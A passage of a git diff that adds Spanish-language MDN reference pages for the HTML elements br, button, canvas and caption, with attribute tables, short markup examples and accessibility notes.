diff --git a/files/es/web/html/elemento/br/index.html b/files/es/web/html/elemento/br/index.html
new file mode 100644
index 0000000000..1e9cff3b58
--- /dev/null
+++ b/files/es/web/html/elemento/br/index.html
@@ -0,0 +1,157 @@
+---
+title: <br>
+slug: Web/HTML/Elemento/br
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/br
+---
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El elemento HTML<em> l</em><em>ine break </em><code>&lt;br&gt;</code> produce un salto de línea en el texto (retorno de carro). Es útil para escribir un poema o una dirección, donde la división de las líneas es significante.</p>
+
+<p>No utilices <code>&lt;br&gt;</code> para incrementar el espacio entre líneas de texto; para ello utiliza la propiedad {{cssxref('margin')}} de <a href="/en-US/docs/CSS" title="CSS">CSS</a> o el elemento {{HTMLElement("p")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno, es {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>Debe tener etiqueta de inicio y no debe tener etiqueta de cierre. En documentos XHTML este elemento se escribe como <code>&lt;br /&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLBRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye los </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">atributos globales</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("clear")}} {{deprecatedGeneric('inline','HTML4.01')}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Indica donde empieza la siguiente línea después del salto.
+ <div class="note">
+ <p><strong>Nota de uso: </strong>Este atributo está obsoleot en {{HTMLVersionInline(5)}} y <strong>no debe utilizarse por los autores</strong>. En su lugar utiliza la propiedad {{CSSxref('clear')}} de CSS.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">Mozilla Foundation&lt;br&gt;
+1981 Landings Drive&lt;br&gt;
+Building K&lt;br&gt;
+Mountain View, CA 94043-0801&lt;br&gt;
+USA
+</pre>
+
+<p>El HTML de arriba muestra:</p>
+
+<p>Mozilla Foundation<br>
+ 1981 Landings Drive<br>
+ Building K<br>
+ Mountain View, CA 94043-0801<br>
+ USA</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>Elemento {{HTMLElement("address")}}</li>
+ <li>Elemento {{HTMLElement("p")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/button/index.html b/files/es/web/html/elemento/button/index.html
new file mode 100644
index 0000000000..abcab78469
--- /dev/null
+++ b/files/es/web/html/elemento/button/index.html
@@ -0,0 +1,198 @@
+---
+title: button
+slug: Web/HTML/Elemento/button
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/button
+---
+<h2 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h2>
+
+<p><strong>button</strong> = botón.</p>
+
+<p>Es el elemento crea botones marcadores.</p>
+
+<p><span class="seoSummary">La etiqueta de<strong> HTML <code>&lt;button&gt;</code> </strong>representa un elemento cliqueable de tipo botón que puede ser utilizado en formularios o en cualquier parte de la página que necesite un botón estándar y simple de aplicar.</span> De forma predeterminada, los botones HTML se presentan con un estilo similar en todas las plataformas, estos estilos se pueden cambiar utilizando <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a>.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;button&gt; y &lt;/button&gt; (ambas obligatorias).</dd>
+ <dd><strong>Crea una caja</strong>: en linea.</dd>
+ <dd><strong>Está definido como</strong>: <a href="/es/docs/HTML/Elemento/Tipos_de_elementos#de_frase" title="HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de control para formulario</a>.</dd>
+ <dd><strong>Puede contener</strong>: Texto y/o cero o más elementos <a href="/es/docs/HTML/Elemento/Tipos_de_elementos#en_linea" title="HTML/Elemento/Tipos_de_elementos#en_linea">en Bloque</a> o <a href="/es/docs/HTML/Elemento/Tipos_de_elementos#en_linea" title="HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>, con las siguientes excepciones: (A|%formctrl;|FORM|FIELDSET)</dd>
+</dl>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">name </span></a></td>
+   <td>Asigna un <a class="external" href="http://html.conclase.net/w3c/html401-es/interact/forms.html#control-name">nombre de control</a>.</td>
+   <td>Texto <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">con limitaciones</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">value </span></a></td>
+   <td>Asigna un valor inicial que será enviado con el formulario.</td>
+   <td>Texto</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">type </span></a></td>
+   <td>Indica el tipo de botón.</td>
+   <td>Uno de los siguientes: (button|submit|reset)</td>
+   <td><abbr title="Por defecto">PD.</abbr>: submit.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">disabled </span></a></td>
+   <td>Indica que el control está desabilitado.</td>
+   <td>disabled.</td>
+   <td>Lo fija el navegador. disabled.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/forms.html#adef-accesskey"><span style="color: green;">accesskey </span></a></td>
+   <td>Define una tecla de acceso rápido. Importante para la <a href="/es/docs/Accesibilidad" title="Accesibilidad">Accesibilidad</a>.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-character">carácter</a> o letra.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/forms.html#adef-tabindex"><span style="color: green;">tabindex </span></a></td>
+   <td>Asigna un número de posición en el orden de tabulación.</td>
+   <td>Un número entre 0 y 32767.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">reserved </span></a></td>
+   <td>Reservado para un uso futuro que nunca tubo. Inútil</td>
+   <td>-</td>
+   <td>-</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;"> onfocus onblur </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h2>
+
+<pre class="brush:html">&lt;button name="button"&gt;Click me&lt;/button&gt;
+</pre>
+
+<h2 id="Soporte" name="Soporte">Sobre Accesibilidad</h2>
+
+<h3 id="Botones_con_íconos">Botones con íconos</h3>
+
+<p>Los botones que solamente utilizan un ícono para representar una funcionalidad no tienen un nombre accesible para los lectores de no-videntes. Para arreglar esto debemos proveer un nombre para el botón que describa la funcionalidad de este.</p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<pre>&lt;button name="favorito" type="button"&gt;
+  &lt;svg aria-hidden="true" viewBox="0 0 10 10"&gt;&lt;path d="m7.4 8.8-2.4-1.3-2.4 1.3.46-2.7-2-1.9 2.7-.39 1.2-2.5 1.2 2.5 2.7.39-1.9 1.9z"/&gt;&lt;/svg&gt;
+  Agregar a favoritos
+&lt;/button&gt;
+</pre>
+
+<p>Esto también ayudará a los usuarios videntes que no estén familiarizados con el significado del ícono ya que podrán entender su significado pasando el cursor por encima del elemento.</p>
+
+<p>Para más información (en inglés):</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/04/what-is-an-accessible-name/">What is an accessible name? | The Paciello Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust#Guideline_4.1_—_Compatible_Maximize_compatibility_with_current_and_future_user_agents_including_assistive_technologies">MDN Understanding WCAG, Guideline 4.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/ensure-compat-rsv.html">Understanding Success Criterion 4.1.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Proximidad">Proximidad</h3>
+
+<p>Si el sitio tiene una gran cantidad de elementos interactivos muy cercanos entre ellos esto puede generar una dificultad en los usuarios con discapacidades motrices. Es ideal que estos elementos tengan una separación para evitar que el usuario cliquee el incorrecto. Puedes utilizar la propiedad <code>margin</code> para separarlos.</p>
+
+<p>Más información (en inglés):</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem - Axess Lab</a></li>
+</ul>
+
+<h2 id="Soporte" name="Soporte">Soporte</h2>
+
+<div class="hidden">La tabla de compatibilidad se genera automáticamente con datos estructurados. Si te gustaría colaborar puedes encontrar más información por <a href="https://github.com/mdn/browser-compat-data">acá y enviarnos un pull request</a>.</div>
+
+<p>{{Compat("html.elements.button")}}</p>
+
+<h2 id="Referencia" name="Referencia">Referencia</h2>
+
+<ul>
+ <li>El elemento <a href="/es/docs/HTML/Elemento/button" title="HTML/Elemento/button">button</a> en el estándar <a class="external" href="http://html.conclase.net/w3c/html401-es/interact/forms.html#h-17.5">HTML 4.01</a></li>
+</ul>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga carencias y defectos. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a href="/es/docs/Project:Como_ayudar" title="Project:Como_ayudar">MDC:Como ayudar</a>.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/canvas/index.html b/files/es/web/html/elemento/canvas/index.html
new file mode 100644
index 0000000000..63e3e260a3
--- /dev/null
+++ b/files/es/web/html/elemento/canvas/index.html
@@ -0,0 +1,88 @@
+---
+title: canvas
+slug: Web/HTML/Elemento/canvas
+tags:
+  - Canvas
+  - HTML
+  - 'HTML:Elemento'
+  - para_revisar
+translation_of: Web/HTML/Element/canvas
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El elemento HTML <em>canvas</em> (&lt;canvas&gt;) se puede utilizar para dibujar gráficos a través de secuencias de comandos (por lo general <a href="/../../../../en/JavaScript" rel="internal" title="../../../../en/JavaScript">JavaScript</a> ).</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Por ejemplo, puede usarse para dibujar gráficos, hacer composiciones de fotos o incluso realizar animaciones.</span></span></p>
+
+<p>
+ </p><p><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Las aplicaciones de Mozilla adquirieron la compatibilidad con <code>&lt;canvas&gt;</code> a partir de Gecko 1.8 (es decir, <a href="/../../../../en/Firefox_1.5_for_developers" rel="internal" title="../../../../en/Firefox 1.5 for developers">Firefox 1.5</a> ).</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El elemento fue originalmente introducido por Apple en el OS X <a class="external" href="http://www.apple.com/macosx/features/dashboard/" rel="external nofollow" title="http://www.apple.com/macosx/features/dashboard/">Dashboard</a> y Safari.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Internet Explorer, antes de la versión 9.0 beta, no admite de forma nativa <code>&lt;canvas&gt;</code> , pero una página puede de hecho añadir la compatibilidad mediante la inclusión de un script del proyecto <a class="external" href="http://excanvas.sourceforge.net/" rel="external nofollow" title="http://excanvas.sourceforge.net/">Explorer Canvas</a> de Google.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Opera 9 también es compatible con <code>&lt;canvas&gt;</code> .</span></span></p>
+<p></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para más artículos sobre canvas, consulta la <a href="/es/HTML/Canvas" title="es/HTML/Canvas">página del tema canvas</a> .</span></span></p>
+
+<h2 id="Contexto_de_uso"><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contexto de uso</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contenido permitido</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Transparente, ya sea <a href="/en/HTML/Content_categories#phrasing_content" title="en/HTML/Content categories#phrasing content">contenido estático</a> o <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">contenido dinámico</a> .</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Omisión de etiquetas</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Ninguna, deben estar presentes tanto las etiquetas de inicio como las de cierre</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Elementos primarios permitidos</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Cualquier elemento que acepte contenido dinámico o cualquier otro elemento que acepte contenido estático .</span></span> </td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Documento normativo</span></span></td>
+   <td><a class="external" href="http://www.w3.org/TR/html5/the-canvas-element.html#the-canvas-element" title="http://www.w3.org/TR/html5/the-canvas-element.html#the-canvas-element"><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTML 5, sección 4.8.10</span></span></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos"><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Atributos</span></span></h2>
+
+<dl>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("width") }}</span></span></dt>
+ <dd> <span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La anchura del espacio de coordenadas en píxeles CSS.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">El valor predeterminado es 300.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("height") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La altura del espacio de coordenadas en píxeles CSS.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">El valor predeterminado es 150.</span></span></dd>
+</dl>
+
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Nota: el tamaño del lienzo mostrado se puede cambiar con una hoja de estilo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La imagen se escala durante la representación para adaptarse al tamaño que se le ha aplicado estilo .</span></span></div>
+
+<h2 id="Interfaz_DOM"><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-99 goog-gtc-translatable" dir="ltr">Interfaz DOM</span></span></h2>
+
+<ul>
+ <li><a href="/en/DOM/HTMLCanvasElement" title="en/DOM/HTMLCanvasElement"><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTMLCanvasElement</span></span></a></li>
+</ul>
+
+<h2 id="Ejemplo"><span class="goog-gtc-unit"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Ejemplo</span></span></h2>
+
+<pre class="brush: html">&lt;<span class="start-tag">canvas</span><span class="attribute-name"> id</span>=<span class="attribute-value">"canvas" </span><span class="attribute-name">width</span>=<span class="attribute-value">"300" </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>&gt;
+  Tu navegador no admite el elemento &amp;<span class="entity">lt;</span>canvas&amp;<span class="entity">gt;</span>.
+&lt;/<span class="end-tag">canvas</span>&gt;
+</pre>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>El elemento <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas" title="Use the HTML &lt;canvas> element with either the canvas scripting API or the WebGL API to draw graphics and animations."><code>&lt;canvas&gt;</code></a> es simplemente un bitman que no provee ninguna información adicional sobre los elementos que tiene dibujados. El contenido de la etiqueta <code>canvas</code> no se muestra a los lectores de pantalla como otras etiquetas semánticas. Como regla general, deberías evitar utilizar canvas en un sitio accesible.</p>
+
+<p>Para mejorar la accesibilidad de la etiquetas puedes leer los siguientes artículos (en inglés):</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">MDN Hit regions and accessability</a></li>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas accessibility use cases</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas element accessibility issues</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">HTML5 Canvas Accessibility in Firefox 13 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">Best practices for interactive canvas elements</a></li>
+</ul>
+
+<h2 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Consulta también</span></span></h2>
+
+<ul>
+ <li><a href="/es/HTML/Canvas" title="es/HTML/Canvas"><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Tema sobre canvas</span></span></a></li>
+</ul>
+
+<p> </p>
+
+<p style="margin-top: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; text-indent: 0px;"><span style="color: #000000; font-family: 'Ubuntu'; font-size: 9pt;">{{ languages( { "de": "de/HTML/Element/canvas", "en": "en/HTML/Element/canvas", "es": "es/HTML/Elemento/canvas", "ja": "ja/HTML/Element/canvas", "ko": "ko/HTML/Element/canvas", "nl": "nl/HTML/HTML_Tags/canvas", "pl": "pl/HTML/Element/canvas", "ru": "Ru/HTML/Element/canvas", "zh-cn": "cn/HTML/Element/canvas", "fr": "fr/HTML/Element/canvas" } ) }}</span></p>
diff --git a/files/es/web/html/elemento/caption/index.html b/files/es/web/html/elemento/caption/index.html
new file mode 100644
index 0000000000..84d06cffaa
--- /dev/null
+++ b/files/es/web/html/elemento/caption/index.html
@@ -0,0 +1,167 @@
+---
+title: caption
+slug: Web/HTML/Elemento/caption
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/caption
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Es el encargado de darle un título descriptivo a las tablas.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;caption&gt;</code> y <code>&lt;/caption&gt;</code> (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: .</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#para_tablas">para tablas</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Texto y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
